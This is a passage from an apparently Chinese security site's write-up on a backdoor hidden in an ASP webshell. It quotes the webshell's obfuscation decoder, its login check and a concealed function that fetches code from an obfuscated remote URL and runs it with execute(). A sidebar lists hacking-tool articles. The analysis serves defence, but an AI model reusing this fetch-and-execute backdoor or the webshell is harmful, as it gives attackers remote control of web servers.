|
| 以下是引用片段: <% Pos=2 '解密固定值 Function Fun(ShiSanObjstr) ShiSanObjstr=Replace(ShiSanObjstr,"|","""") For ShiSanI=1 To Len(ShiSanObjstr) If Mid(ShiSanObjstr,ShiSanI,1)<>"!" Then ShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr Else ShiSanNewStr=vbCrLf&ShiSanNewStr End If Next Fun = ShiSanNewStr End Function Function SinfoEn(ObjStr,ObjPos) ObjStr=Replace(ObjStr,"~","""") NewStr=Split(ObjStr,"`") For i=0 To UBound(NewStr) SinfoEn=SinfoEn&EnCode(NewStr(i),ObjPos)&vbCrLf Next SinfoEn=Left(SinfoEn,Len(SinfoEn)-2) End Function Function EnCode(ObjStr,ObjPos) Dim NewStr,TmpStr,i,LenStr LenStr=Len(ObjStr) For i=0 To Int(LenStr/ObjPos)-1 TmpStr=Mid(ObjStr,i*ObjPos+1,ObjPos)&TmpStr Next EnCode=TmpStr&Right(ObjStr,LenStr Mod ObjPos) End Function data=request.form("x") if data="" then data="nothing" response.write "<form method='post'>" response.write "<textarea name='x' cols='80' rows='30'>" response.write Server.HTMLEncode(SinfoEn(data,Pos)) response.write "</textarea>" response.write "<input type='submit' name='Submit1' value=' 提交 '>" response.write "<input type='reset' name='Submit32' value=' 重置 '>" response.write "</form>" %> |
| 以下是引用片段: if session("web2a2dmin")<>UserPass then if request.form("pass")<>"" then if Serinf(request.form("pass"),pn)=UserPass then session("web2a2dmin")=UserPass response.redirect url else rrs"非法登录" end if else si="<center><div style='width:500px;border:1px solid #222;padding:22px;margin:100px;'><a href='"&SiteURL&"' target='_blank'>"&mname&"</a><hr><form action='"&url&"' method='post'>密码:<input name='pass' type='password' size='22'> <input type='submit' value='登录'></form><hr>"&Copyright&"</div> </center>" RRS sI end if response.end 密码用Serinf函数加密然后进行验证,代码正常,没有可疑的迹象我们在搜索Serinf,看到如下代码: if session("serinfo")=false then SererInf "1ll4":session("serinfo")=true else if action="getTerminalInfo" then SererInf "1ll4" end if end if |
| 以下是引用片段: function SererInf(inf) on error resume next Set theserver=Server.createobject(Sot(13,0)) theserver.open "GET",right(sot(13,0),4)&chr(60-pos)&"/"&chr(pos+45)&inf&chr(46)&mid(sot(4,0),2,1)&chr(109+pos)&right(Sot(6,0),1)&chr(47)&right(sot(1,0),1),false theserver.send() if theserver.readystate<>4 then exit function end if execute(theserver.responseText) set theserver=nothing if err.number<>0 then err.Clear end if end function |
| Real Player rmoc3260.dll Activ | 04-04 |
| Real Player rmoc3260.dll Activ | 04-03 |
| Pangolin号称很牛的注入工具 | 03-25 |
| 仿FirePack网马管理系统fsploit | 03-01 |
| 机器狗生成器 | 02-26 |
| Serv-U 6.X 提权脚本 | 01-31 |
| 入侵工具Knark的分析及防范 | 01-14 |
| 如何使用Nikto漏洞扫描工具检测网 | 12-21 |
| 十三WEBSHELL终结版后门的去除过 | 12-14 |
| hijack(红狼安全小组原创作品 - | 11-29 |
| 高级内网渗透工具:Paris (创建VP | 11-01 |
| AntiARP-DNS Ver:3.6.4 绿色美化 | 10-15 |